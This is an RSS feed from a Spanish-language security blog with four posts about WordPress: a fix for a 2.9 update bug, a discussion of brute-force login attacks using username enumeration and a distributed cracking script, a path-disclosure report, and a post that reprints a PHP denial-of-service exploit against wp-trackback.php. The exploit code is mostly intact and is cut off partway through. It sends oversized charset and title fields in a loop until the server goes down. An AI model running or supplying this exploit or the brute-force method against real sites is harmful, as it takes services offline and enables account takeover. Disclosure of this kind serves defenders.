<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>El rincón de Zerial &#187; wp</title>
	<atom:link href="http://blog.zerial.org/tag/wp/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.zerial.org</link>
	<description>Informática, GNU/Linux, Seguridad, Hacking, Programación, Ocio</description>
	<lastBuildDate>Tue, 20 Jul 2010 18:13:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Error de actualización desde WordPress 2.8 a 2.9</title>
		<link>http://blog.zerial.org/tips/error-de-actualizacion-desde-wordpress-2-8-a-2-9/</link>
		<comments>http://blog.zerial.org/tips/error-de-actualizacion-desde-wordpress-2-8-a-2-9/#comments</comments>
		<pubDate>Sat, 19 Dec 2009 20:51:13 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Noticias]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[actualizacion]]></category>
		<category><![CDATA[error]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wp]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1272</guid>
		<description><![CDATA[Hace un rato que actualicé la versión de wordpress de mi blog junto a otros wordpress que administro, pero sólo mi versión tuvo un problema. Me mostraba todas las páginas en blanco. Al parecer no soy el único que tuvo ese problema, ya que puedo ver en distintos sitios a mucha gente que le ocurre [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-1273" title="wordpress-250x250" src="http://blog.zerial.org/wp-content/uploads/2009/12/wordpress-250x250.png" alt="" width="250" height="250" /></p>
<p>Hace un rato que actualicé la versión de wordpress de mi blog junto a otros wordpress que administro, pero sólo mi versión tuvo un problema. Me mostraba todas las páginas en blanco. Al parecer no soy el único que tuvo ese problema, ya que puedo ver en distintos sitios a mucha gente que le ocurre lo mismo:</p>
<p><a href="http://es.wordpress.org/2009/12/19/error-de-pagina-en-blanco-tras-actualizar" target="_blank">http://es.wordpress.org/2009/12/19/error-de-pagina-en-blanco-tras-actualizar</a><br />
<a href="http://ayudawordpress.com/wordpress-2-9-espanol-ya-disponible/" target="_blank">http://ayudawordpress.com/wordpress-2-9-espanol-ya-disponible/</a></p>
<p>Algunos hablan de hacer un <em>downgrade</em> y otros hablan de volver a instalar wordpress. Pues yo me di el trabajo de depurar el problema y determinar que archivo era el que estaba generando conflictos.<br />
Al actualizar a wordpress 2.9, al parecerno se está actualizando correctamente el fichero <strong>wp-includes/functions.php</strong>.</p>
<p><strong>¿Qué hice para solucionarlo?</strong><br />
Simplemente me descargué la nueva versión de WordPress (en español o en inglés) y copié el fichero hacia mi instalación.</p>
<p><strong>Actualización:</strong> <a href="http://wordpress.org/development/2009/12/wordpress-2-9-1-beta-1/" target="_blank">Se ha publicado una version 2.9.1 Beta 1 donde corrigen, entre otras cosas, éste error</a>.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Ftips%2Ferror-de-actualizacion-desde-wordpress-2-8-a-2-9%2F&amp;linkname=Error%20de%20actualizaci%C3%B3n%20desde%20WordPress%202.8%20a%202.9" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Ftips%2Ferror-de-actualizacion-desde-wordpress-2-8-a-2-9%2F&amp;linkname=Error%20de%20actualizaci%C3%B3n%20desde%20WordPress%202.8%20a%202.9" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Ftips%2Ferror-de-actualizacion-desde-wordpress-2-8-a-2-9%2F&amp;linkname=Error%20de%20actualizaci%C3%B3n%20desde%20WordPress%202.8%20a%202.9" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Ftips%2Ferror-de-actualizacion-desde-wordpress-2-8-a-2-9%2F&amp;linkname=Error%20de%20actualizaci%C3%B3n%20desde%20WordPress%202.8%20a%202.9" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Ftips%2Ferror-de-actualizacion-desde-wordpress-2-8-a-2-9%2F&amp;linkname=Error%20de%20actualizaci%C3%B3n%20desde%20WordPress%202.8%20a%202.9" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Ftips%2Ferror-de-actualizacion-desde-wordpress-2-8-a-2-9%2F&amp;linkname=Error%20de%20actualizaci%C3%B3n%20desde%20WordPress%202.8%20a%202.9" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Ftips%2Ferror-de-actualizacion-desde-wordpress-2-8-a-2-9%2F&amp;linkname=Error%20de%20actualizaci%C3%B3n%20desde%20WordPress%202.8%20a%202.9" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Ftips%2Ferror-de-actualizacion-desde-wordpress-2-8-a-2-9%2F&amp;linkname=Error%20de%20actualizaci%C3%B3n%20desde%20WordPress%202.8%20a%202.9">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/tips/error-de-actualizacion-desde-wordpress-2-8-a-2-9/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Ataque de fuerza bruta a WordPress</title>
		<link>http://blog.zerial.org/seguridad/ataque-de-fuerza-bruta-a-wordpress/</link>
		<comments>http://blog.zerial.org/seguridad/ataque-de-fuerza-bruta-a-wordpress/#comments</comments>
		<pubDate>Mon, 07 Dec 2009 12:29:07 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[brute force]]></category>
		<category><![CDATA[cracking]]></category>
		<category><![CDATA[fuerza bruta]]></category>
		<category><![CDATA[login]]></category>
		<category><![CDATA[pwnpress]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wp]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1175</guid>
		<description><![CDATA[Los ataques por fuerza bruta a instalaciones WordPress son un tanto faciles, ya que es muy sencillo determinar los usuarios del sistema y no tiene sistemas de protección de Throttling Login Attempts o límite de intentos de ingreso, lo cual nos permite hacer éste tipo de ataques. Determinar los nombres de usuarios es tan sencillo [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-medium wp-image-1196" style="margin: 4px;" title="bruteforce" src="http://blog.zerial.org/wp-content/uploads/2009/12/bruteforce-300x230.jpg" alt="bruteforce" width="192" height="147" />Los ataques por <em>fuerza bruta</em> a instalaciones WordPress son un tanto faciles, ya que es muy sencillo determinar los usuarios del sistema y no tiene sistemas de protección de <strong>Throttling Login Attempts </strong>o límite de intentos de ingreso, lo cual nos permite hacer éste tipo de ataques.<br />
Determinar los nombres de usuarios es tan sencillo como escribir algún supuesto usuario y llenar el campo de contraseña con cualquier información, cuando presionemos &#8220;Iniciar Sesion&#8221; el sistema nos dirá &#8220;<em>Usuario incorrecto</em>&#8221; si es que el usuario <strong>no</strong> existe o bien &#8220;<em>Password incorrecta</em>&#8220;, en el caso que el usuario <strong>si</strong> exista y el password sea invlálido. Con un ataque distribuido es posible obtener el password de un usuario en particular muy sencillamente, sólo es cosa de tiempo.<br />
Si pensamos hacerlo de forma remota puede que nos tardemos un poco más, pero pensemos desde el mismo lado del servidor, imaginemosnos que tenemos una cuenta en el hosting donde está hospedado el CMS, será todo mucho más fácil y más rápido.</p>
<p><span id="more-1175"></span></p>
<p><img class="alignright size-medium wp-image-949" title="pwnpress" src="http://blog.zerial.org/wp-content/uploads/2009/09/pwnpress-300x214.jpg" alt="pwnpress" width="300" height="214" />Hace un tiempo, yo <a href="http://blog.zerial.org/seguridad/web-login-por-fuerza-bruta/">publiqué un script en php</a> <strong>bastante</strong> sencillo que nos permitía hacer ésto en simples pasos leyendo palabras desde un diccionario, lo interesante de éste script es que no sólo funciona con wordpress, sino con cualquier weblogin &#8220;simple&#8221; e inseguro. Luego encontré un artículo relacionado muy interesante, que hablaba sobre estos tipos de ataques y analizaban un script que encontraron en un servidor, el cual era mucho mas sofisticado y trabajado que el mio, permitia hacer ataques distribuidos desde distintas máquinas y de esta forma aumentar si desempeño más de un 1000% (sí, mil por ciento).</p>
<p>Su funcionamiento (copy&amp;paste):</p>
<blockquote><p>La funcion wp_brute_attempt() toma 3 parámetros, $ch que es la estuctura cURL (cURL es una herramienta de línea de comando que se puede usar para realizar peticiones HTTP ). Los otros dos parámetros definen el sitio y la contraseña que se intentará. Si el script consigue validarse exitosamente, la página que es devuelta por el servidor contendrá la frase &#8220;Log Out&#8221;, y la función devolverá el valor verdadero.</p>
<p>Ahora, lo interesante del script es que permite el cracking distribuido. La información es guardada en una base de datos MySQL y el script realmente se conecta en forma directa a la base de datos principal. Esto permite al atacante correr varios scripts simultáneos &#8211; cada uno de ellos tomará 200 URL nuevas y las marcará con el ID del script forzador ($colo)</p></blockquote>
<p>Encuentro <strong>súper</strong> interesante lo que se hizo y de la forma en que fue pensado, la próxima véz que se me ocurra hacer algo así, lo hare distribuido usando una base de datos accesible remotamente para aumentar el rendimiento y desempeño del script. Si lo llego a hacer, publicaré una prueba de concepto con los resultados.</p>
<p>Fuente en español: <a href="http://blog.segu-info.com.ar/2009/11/instalaciones-de-wordpress-bajo-ataques.html" target="_blank">Segu-Info</a></p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fataque-de-fuerza-bruta-a-wordpress%2F&amp;linkname=Ataque%20de%20fuerza%20bruta%20a%20WordPress" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fataque-de-fuerza-bruta-a-wordpress%2F&amp;linkname=Ataque%20de%20fuerza%20bruta%20a%20WordPress" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fataque-de-fuerza-bruta-a-wordpress%2F&amp;linkname=Ataque%20de%20fuerza%20bruta%20a%20WordPress" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fataque-de-fuerza-bruta-a-wordpress%2F&amp;linkname=Ataque%20de%20fuerza%20bruta%20a%20WordPress" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fataque-de-fuerza-bruta-a-wordpress%2F&amp;linkname=Ataque%20de%20fuerza%20bruta%20a%20WordPress" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fataque-de-fuerza-bruta-a-wordpress%2F&amp;linkname=Ataque%20de%20fuerza%20bruta%20a%20WordPress" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fataque-de-fuerza-bruta-a-wordpress%2F&amp;linkname=Ataque%20de%20fuerza%20bruta%20a%20WordPress" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fataque-de-fuerza-bruta-a-wordpress%2F&amp;linkname=Ataque%20de%20fuerza%20bruta%20a%20WordPress">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/ataque-de-fuerza-bruta-a-wordpress/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>FPD en WordPress no es considerado un error</title>
		<link>http://blog.zerial.org/seguridad/fpd-en-wordpress-no-es-considerado-un-error/</link>
		<comments>http://blog.zerial.org/seguridad/fpd-en-wordpress-no-es-considerado-un-error/#comments</comments>
		<pubDate>Sat, 14 Nov 2009 15:42:15 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Noticias]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[fpd]]></category>
		<category><![CDATA[full path disclosure]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wp]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1100</guid>
		<description><![CDATA[Como recordarán, hace unos días publiqué dos artículos sobre una vulnerabilidad Full Path Disclosure en WordPress, que afectaba a los plugins y a los archivos propios del CMS. Luego de unas semanas de haberlo reportado recibí una respuesta: We consider path disclosures a server configuration error. WordPress files don&#8217;t protect against disclosing paths when directly [...]]]></description>
			<content:encoded><![CDATA[<p>Como recordarán, hace unos días publiqué dos artículos sobre una vulnerabilidad Full Path Disclosure en WordPress, que <a href="http://blog.zerial.org/seguridad/vulnerabilidad-en-la-mayoria-de-los-plugins-para-wordpress/" target="_blank">afectaba a los plugins</a> y a <a href="http://blog.zerial.org/seguridad/mas-full-path-disclosure-en-wordpress-y-sin-solucion/" target="_blank">los archivos propios del CMS</a>. Luego de unas semanas de haberlo reportado recibí una respuesta:</p>
<blockquote><p>We consider path disclosures a server configuration error.  WordPress<br />
files don&#8217;t protect against disclosing paths when directly loaded.</p></blockquote>
<p>En otras palabras, no es considerado un error o una vulnerabilidad ya que corresponde a un problema de configuración del servidor.<br />
Pueden leer <a href="http://seclists.org/fulldisclosure/2009/Sep/387" target="_blank">un hilo donde se discute</a> sobre el tema.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Ffpd-en-wordpress-no-es-considerado-un-error%2F&amp;linkname=FPD%20en%20WordPress%20no%20es%20considerado%20un%20error" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Ffpd-en-wordpress-no-es-considerado-un-error%2F&amp;linkname=FPD%20en%20WordPress%20no%20es%20considerado%20un%20error" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Ffpd-en-wordpress-no-es-considerado-un-error%2F&amp;linkname=FPD%20en%20WordPress%20no%20es%20considerado%20un%20error" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Ffpd-en-wordpress-no-es-considerado-un-error%2F&amp;linkname=FPD%20en%20WordPress%20no%20es%20considerado%20un%20error" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Ffpd-en-wordpress-no-es-considerado-un-error%2F&amp;linkname=FPD%20en%20WordPress%20no%20es%20considerado%20un%20error" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Ffpd-en-wordpress-no-es-considerado-un-error%2F&amp;linkname=FPD%20en%20WordPress%20no%20es%20considerado%20un%20error" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Ffpd-en-wordpress-no-es-considerado-un-error%2F&amp;linkname=FPD%20en%20WordPress%20no%20es%20considerado%20un%20error" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Ffpd-en-wordpress-no-es-considerado-un-error%2F&amp;linkname=FPD%20en%20WordPress%20no%20es%20considerado%20un%20error">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/fpd-en-wordpress-no-es-considerado-un-error/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Denial-of-Service (DoS) rápido y de una forma muy sencilla en WordPress</title>
		<link>http://blog.zerial.org/seguridad/denial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress/</link>
		<comments>http://blog.zerial.org/seguridad/denial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress/#comments</comments>
		<pubDate>Sun, 18 Oct 2009 13:50:59 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[dos]]></category>
		<category><![CDATA[pwnpress]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wp]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1014</guid>
		<description><![CDATA[jcarlosn ha descubierto una vulnerabilidad en el fichero wp-trackbacks.php de wordpress, la cual nos permitiría hacer un tipo de denegación de servicio (DoS) con unas cuantas peticiones y sin necesidad de botnets o maquinas zombies. Como él mismo nos cuenta: Este error, es explotable desde cualquier conexión a internet, y no requiere de ordenadores zombies, [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-medium wp-image-949" style="margin: 4px;" title="pwnpress" src="http://blog.zerial.org/wp-content/uploads/2009/09/pwnpress-300x214.jpg" alt="pwnpress" width="126" height="90" /><a href="http://rooibo.wordpress.com/" target="_blank">jcarlosn</a> ha <a href="http://rooibo.wordpress.com/2009/10/17/agujero-de-seguridad-en-wordpress/" target="_blank">descubierto una vulnerabilidad en el fichero <strong>wp-trackbacks.php</strong> de wordpress</a>, la cual nos permitiría hacer un tipo de denegación de servicio (DoS) con unas cuantas peticiones y sin necesidad de botnets o maquinas zombies.<br />
Como él mismo nos cuenta:</p>
<blockquote><p>
Este error, es explotable desde cualquier conexión a internet, y no requiere de ordenadores zombies, ni de nada, son sólo 20 peticiones a lo sumo, desde una línea ADSL convencional, para dejar K.O. a cualquier servidor que hospede un blog basado en wordpress.</p></blockquote>
<p>El problema fue reportado a la seguridad en wordpress.com y no se obtuvo respuesta, luego se intentó comunicar con el creador de wordpress y al pasar un par de días, obtuvo una respuesta de que lo solucionarán en algún momento pero no de la forma que él proponia, sino que ellos mismos buscarán cómo hacerlo.<br />
La misma persona que hizo público este bug, publicó un exploit y una posible solución.</p>
<p><span id="more-1014"></span></p>
<p><strong>El exploit:</strong></p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"> &lt; ?php</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="co1">//wordpress Resource exhaustion Exploit</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="co1">//http://rooibo.wordpress.com/</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="co1">//security@wordpress.org contacted and get a response,</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="co1">//but no solution available.</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/count"><span class="kw3">count</span></a><span class="br0">&#40;</span><span class="re0">$argv</span><span class="br0">&#41;</span> &lt; <span class="nu0">2</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/echo"><span class="kw3">echo</span></a> “You need to specify a url to attack\n”;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/exit"><span class="kw3">exit</span></a>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$url</span> = <span class="re0">$argv</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$data</span> = <a href="http://www.php.net/parse_url"><span class="kw3">parse_url</span></a><span class="br0">&#40;</span><span class="re0">$url</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/count"><span class="kw3">count</span></a><span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#41;</span> &lt; <span class="nu0">2</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <a href="http://www.php.net/echo"><span class="kw3">echo</span></a> “The url should have http:<span class="co1">// in front of it, and should be complete.\n”;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/exit"><span class="kw3">exit</span></a>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/count"><span class="kw3">count</span></a><span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#41;</span> == <span class="nu0">2</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="re0">$path</span> = ”;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span> <span class="kw1">else</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$path</span> = <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;path&#8217;</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$path</span> = <a href="http://www.php.net/trim"><span class="kw3">trim</span></a><span class="br0">&#40;</span><span class="re0">$path</span>,’/<span class="st0">&#8216;);</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;$path .= ‘/wp-trackback.php’;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;if($path{0} != ‘/’) {</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$path = ‘/’.$path;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;}</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;$b = “”;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$b = str_pad($b,140000,’ABCEDFG’);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$b = utf8_encode($b);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$charset = “”;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$charset = str_pad($charset,140000,”UTF-8,”);</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$str = ‘charset=’.urlencode($charset);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$str .= ‘&amp;url=www.example.com’;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$str .= ‘&amp;title=’.$b;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$str .= ‘&amp;blog_name=lol’;</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;$str .= ‘&amp;excerpt=lol’;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$count = 0;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;while(1) {</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$fp = @fsockopen($data['</span>host<span class="st0">'],80);</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;if(!$fp) {</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;if($count &gt; 0) {</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;echo “down!!!!<span class="es0">\n</span>”;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;exit;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;}</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;echo “unable to connect to: “.$data['</span>host<span class="st0">'].”<span class="es0">\n</span>”;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;exit;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;}</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;fputs($fp, “POST $path HTTP/1.1<span class="es0">\r</span><span class="es0">\n</span>”);</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;fputs($fp, “Host: “.$data['</span>host<span class="st0">'].”<span class="es0">\r</span><span class="es0">\n</span>”);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;fputs($fp, “Content-type: application/x-www-form-urlencoded<span class="es0">\r</span><span class="es0">\n</span>”);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;fputs($fp, “Content-length: “.strlen($str).”<span class="es0">\r</span><span class="es0">\n</span>”);</span></div>
</li>
<li class="li1">
